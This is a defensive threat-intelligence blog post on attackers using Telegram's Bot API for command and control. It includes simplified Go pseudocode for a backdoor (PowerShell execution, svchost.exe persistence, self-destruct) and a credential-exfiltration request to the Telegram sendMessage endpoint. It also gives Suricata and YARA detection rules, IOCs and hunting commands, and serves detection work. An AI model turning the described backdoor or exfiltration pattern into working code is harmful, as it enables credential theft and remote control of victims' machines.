How Attackers Use Telegram for C2 Infrastructure: The New Command & Control Playbook

Rudra Verma, Senior Security Architect & Researcher · 2026-02-25

Introduction

In February 2025, security researchers discovered a Golang backdoor that used an unusual command-and-control channel: Telegram. Instead of traditional C2 servers that defenders could block, the malware communicated through Telegram's Bot API—routing commands through encrypted chat messages and blending in with millions of legitimate conversations happening simultaneously on the platform.[blog.shaneoverton]

This isn't an isolated incident. Telegram has become cybercrime's Swiss Army knife, serving as C2 infrastructure for malware families like Styx Stealer, Agent Tesla, CyberEye RAT, and PE32 ransomware. Check Point researchers recently exposed cybercriminals who accidentally leaked their entire operation through exposed Telegram Bot API tokens embedded in malware configurations.marketplace.crowdstrike+1

The question is no longer if attackers are using Telegram for C2, but how extensively—and more importantly, how can defenders detect and stop it?

Why Attackers Choose Telegram for C2 Operations

The Strategic Advantages

Traditional C2 infrastructure requires attackers to register domains, set up servers, maintain uptime, and constantly rotate infrastructure to evade blocklists. Telegram eliminates all of this:

1. Zero Infrastructure Overhead

No domain registration required
No server maintenance or hosting costs
No DDoS vulnerability (Telegram's infrastructure handles availability)
Built-in encryption and API access from day one

2. Legitimate Traffic Camouflage

C2 traffic blends with 900+ million active users worldwide[abuseipdb]
Encrypted communications through trusted messaging platform
Difficult for network defenders to distinguish malicious from benign Telegram traffic
Enterprise networks rarely block Telegram entirely (employee communication tool)

3. API-Driven Automation

Telegram Bot API provides ready-made infrastructure for automated operations
Real-time notifications to attacker mobile devices
File upload/download capabilities (up to 2GB per file)
Support for channels, groups, and private chats with different anonymity levels

4. Operational Resilience

If one bot is banned, attackers simply create another (takes minutes)
No single point of failure unlike traditional C2 servers
Distributed command infrastructure across Telegram's global servers
Historical messages persist for later retrieval

The Dark Web Migration

Since 2021, cybercriminals have been migrating from traditional dark web forums to Telegram. A 2026 UNODC report found Asian crime syndicates using Telegram for large-scale scams, with Chinese guarantee markets like Xinbi Guarantee and Huione Guarantee processing tens of billions of dollars in cryptocurrency fraud transactions.sumologic+1

Telegram now hosts:

Stolen credential marketplaces
Ransomware negotiation channels
Malware-as-a-Service (MaaS) offerings
Data breach leak sites
DDoS-for-hire services
Hacking tool distribution

Technical Implementation: How Telegram C2 Works

Architecture Overview

Telegram Bot API is the technical foundation for C2 operations. Here's the attack flow:

text

[Infected Host] ←→ [Telegram Bot API] ←→ [Attacker's Telegram Client] ↓ ↓ ↓ Executes Routes via Receives notifications commands encrypted channel & stolen data

Step-by-Step Attack Workflow

Phase 1: Bot Creation & Configuration

Attacker creates Telegram bot via @BotFather (official Telegram bot)
Receives unique Bot API Token (e.g., 1234567890:ABCdefGHIjklMNOpqrsTUVwxyz)
Configures bot with Chat ID for receiving exfiltrated data
Embeds token and Chat ID into malware configuration

Phase 2: Malware Deployment

The Golang backdoor analyzed by Netskope researchers demonstrates typical implementation:[blog.shaneoverton]

go

// Simplified pseudocode from Netskope analysis func main() { // Initialize Telegram bot with hardcoded token bot := telegram.NewBot(API_TOKEN) // Create channel to monitor for commands updates := bot.GetUpdatesChan() // Command loop for update := range updates { cmd := update.Message.Text switch cmd { case "/cmd": // Execute PowerShell commands output := executePowerShell(nextMessage) sendEncrypted(bot, output) case "/persist": // Relaunch as svchost.exe in C:\Windows\Temp installPersistence() case "/screenshot": // Capture screen (not implemented in sample) captureScreen() case "/selfdestruct": // Delete malware and exit os.Remove("C:\\Windows\\Temp\\svchost.exe") os.Exit(0) } } }

Key capabilities observed:

Command execution via PowerShell (/cmd command)
Persistence by copying to C:\Windows\Temp\svchost.exe
Screen capture (partially implemented)
Self-destruct mechanism for anti-forensics

Phase 3: Data Exfiltration

Modern phishing campaigns use Telegram for real-time credential harvesting. When victims enter credentials on phishing pages:[abuseipdb]

JavaScript intercepts form submission
Bundles credentials + victim IP + geolocation + browser data
Sends via HTTP POST to Telegram Bot API endpoint:
```
text
```
POST https://api.telegram.org/bot{TOKEN}/sendMessage
Attacker receives instant mobile notification with stolen credentials
Account takeover can occur within seconds of credential capture

Styx Stealer example from Check Point research:[flare]

Embedded Telegram Bot token: joemmBot
Exfiltrated browser passwords, cryptocurrency wallets, session tokens
Sent data bundles as encrypted archives to attacker-controlled chat
Accidentally exposed entire MaaS operation through poor OpSec

Real-World Malware Families Using Telegram C2

MalwareFirst SeenTelegram C2 UsageCyberEye RAT2024Routes all C2 traffic via Bot API; exfiltrates browser credentials, WiFi passwords, Discord/Telegram sessions[marketplace.crowdstrike]PE32 Ransomware2024Communicates exclusively via Bot API; victims contact attackers on Telegram for ransom negotiations[marketplace.crowdstrike]Styx StealerApril 2024MaaS offering exfiltrating browser data, crypto wallets, clipboard content via Telegram[flare]Agent TeslaOngoingLong-running infostealer leveraging Telegram for credential exfiltration[flare]Raven Stealer2024Promoted on Telegram channels; uses Bot API for data exfiltration[marketplace.crowdstrike]Golang BackdoorFeb 2025Russian-origin malware using Telegram for command execution and file transfer[blog.shaneoverton]

Massive campaign discovery: Crimson7 researchers found a JavaScript-based infection campaign built entirely on Telegram infrastructure with 18,000+ potential victims across multiple countries. Phishing emails impersonated Google Chrome updates, deploying malware that reported each successful compromise directly to attacker Telegram channels.[marketplace.crowdstrike]

Detection & Defense Strategies

Network-Level Detection

1. Monitor Telegram API Traffic Patterns

Legitimate Telegram usage vs. C2 traffic indicators:

LegitimateSuspicious C2 IndicatorsRegular message timingAutomated polling (every 1-5 seconds)Mobile client User-AgentBot API User-Agent stringsInteractive chat sessionsMachine-to-machine communication patternsNormal file sizesLarge file uploads (stolen databases)

Detection rules (Suricata/Snort):

text

alert tcp $HOME_NET any -> $EXTERNAL_NET 443 ( msg:"Possible Telegram Bot API C2 - Frequent GetUpdates Polling"; flow:established,to_server; content:"api.telegram.org"; content:"getUpdates"; threshold:type both, track by_src, count 30, seconds 60; classtype:trojan-activity; sid:1000001; )

2. DNS/TLS Certificate Monitoring

Watch for repeated connections to:

api.telegram.org
*.telegram.org subdomains

Especially from:

Server infrastructure (should not use consumer messaging)
Workstations during off-hours
Systems with recent malware alerts

3. EDR Behavioral Analysis

Flag processes exhibiting:

Outbound HTTPS to api.telegram.org from unusual processes (e.g., PowerShell, cmd.exe, svchost.exe from C:\Windows\Temp)
Base64-encoded strings containing "telegram", "bot", "chat_id"
Persistence mechanisms combined with network activity

Endpoint Detection

Indicators of Compromise (IOCs):

text

File paths: C:\Windows\Temp\svchost.exe (fake Windows process) C:\Users\<username>\AppData\Roaming\<random>\bot.exe Registry persistence: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Embedded strings: - Bot API tokens: Regex pattern \d{9,10}:[A-Za-z0-9_-]{35} - Chat IDs: Numeric strings (e.g., -1001234567890) - "api.telegram.org/bot" - "sendMessage", "sendDocument", "getUpdates"

YARA rule example:

text

rule Telegram_C2_Bot_Token { meta: description = "Detects Telegram Bot API tokens in malware" author = "CyberHawk" date = "2026-02-25" strings: $api1 = "api.telegram.org" ascii wide $api2 = "sendMessage" ascii wide $api3 = "getUpdates" ascii wide $token = /\d{9,10}:[A-Za-z0-9_-]{35}/ ascii wide $chat_id = /chat_id/ ascii wide condition: uint16(0) == 0x5A4D and ($api1 and $token) or (2 of ($api2, $api3, $chat_id) and $token) }

Proactive Threat Hunting

Hunt for exposed Telegram tokens in network traffic using:

bash

# Extract potential Bot API tokens from PCAP tshark -r capture.pcap -Y "http || ssl" -T fields -e text \ | grep -oP '\d{9,10}:[A-Za-z0-9_-]{35}'

Memory analysis of suspicious processes:

bash

# Volatility 3 - search for Telegram API indicators vol3 -f memory.dmp windows.memmap --pid <suspicious_pid> --dump strings <pid>.dmp | grep -E "(telegram|bot|chat_id)"

Remediation & Best Practices

1. Network Segmentation

Block Telegram API access from server infrastructure and critical systems
Allow only from authorized user devices
Whitelist specific user accounts if business uses Telegram legitimately

Firewall rules (example for Palo Alto):

text

Security Policy: BLOCK-TELEGRAM-FROM-SERVERS Source Zone: Servers Destination Zone: External Application: telegram, telegram-base Action: Deny

2. SSL/TLS Inspection

Enable SSL/TLS decryption for Telegram traffic to:

Inspect Bot API commands
Detect data exfiltration attempts
Identify hardcoded tokens in HTTPS payloads

Caveat: Requires Telegram certificate pinning bypass (may break legitimate mobile apps).

3. Application Control

Use application whitelisting to prevent:

Unauthorized executables from %TEMP% directories
PowerShell execution from suspicious parents
Processes masquerading as Windows system files (svchost.exe outside C:\Windows\System32)

4. Threat Intelligence Integration

Subscribe to feeds tracking Telegram-based threats:

Monitor known malicious Chat IDs and Bot tokens
Track cybercrime Telegram channels for emerging threats
Cross-reference with YARA rules and IOC databases

Example MISP integration: Import Telegram IOC feeds for automated blocking.

5. User Awareness

Educate users on:

Phishing pages requesting Telegram authentication
Suspicious file downloads from Telegram channels
Social engineering via Telegram impersonation

Key Takeaways

Telegram has become a primary C2 channel for threat actors due to zero infrastructure costs, legitimate traffic camouflage, and robust API capabilities
Bot API tokens are the weak link—they're often hardcoded in malware and can expose entire operations if defenders extract them
Detection requires multi-layered approach: network monitoring (API traffic patterns), endpoint detection (YARA/IOCs), and behavioral analysis (EDR)
Real-time exfiltration is the killer feature—attackers receive stolen credentials via mobile notifications within seconds of capture
Network segmentation is critical—servers and production systems should never communicate with Telegram API endpoints
SSL/TLS inspection is necessary but challenging due to certificate pinning in legitimate Telegram apps
Threat hunting focus: Hunt for Bot API tokens in memory dumps, network traffic, and malware samples—they reveal attacker infrastructure

Brief Summary

This focused technical analysis reveals how cybercriminals exploit Telegram's Bot API infrastructure for command-and-control operations, data exfiltration, and malware coordination. You'll learn the strategic advantages that make Telegram attractive for attackers (zero infrastructure costs, legitimate traffic camouflage, API-driven automation), examine real-world malware families like the Golang backdoor and Styx Stealer, and discover practical detection strategies using network monitoring, YARA rules, and EDR behavioral analysis. The blog provides actionable remediation steps including network segmentation, SSL/TLS inspection, and threat hunting techniques focused on extracting exposed Bot API tokens—the operational weak link that can unravel entire cybercriminal operations.

Connect With CyberHawk

🚀 Try Our Platform

📱 Follow on Social Media

YouTube:

@cyberhawkconsultancy
@cyberhawkk

TikTok: @cyberhawkthreatintel

X (Twitter): @cyberhawkintel

Telegram: @cyberhawkthreatintel

🔖 Hashtags

#cyberhawkthreatintel #cyberhawkconsultancy #cyberhawkk #TelegramC2 #CommandAndControl #BotAPI #MalwareAnalysis #ThreatHunting #DataExfiltration #CyberCrime #InfoSec #SOC #ThreatIntelligence #IncidentResponse #NetworkSecurity #EDR #YARA #Infostealer #Ransomware #DarkWeb #CyberDefense #SecurityResearch #MalwareReverse #BlueTeam #DefensiveSecurity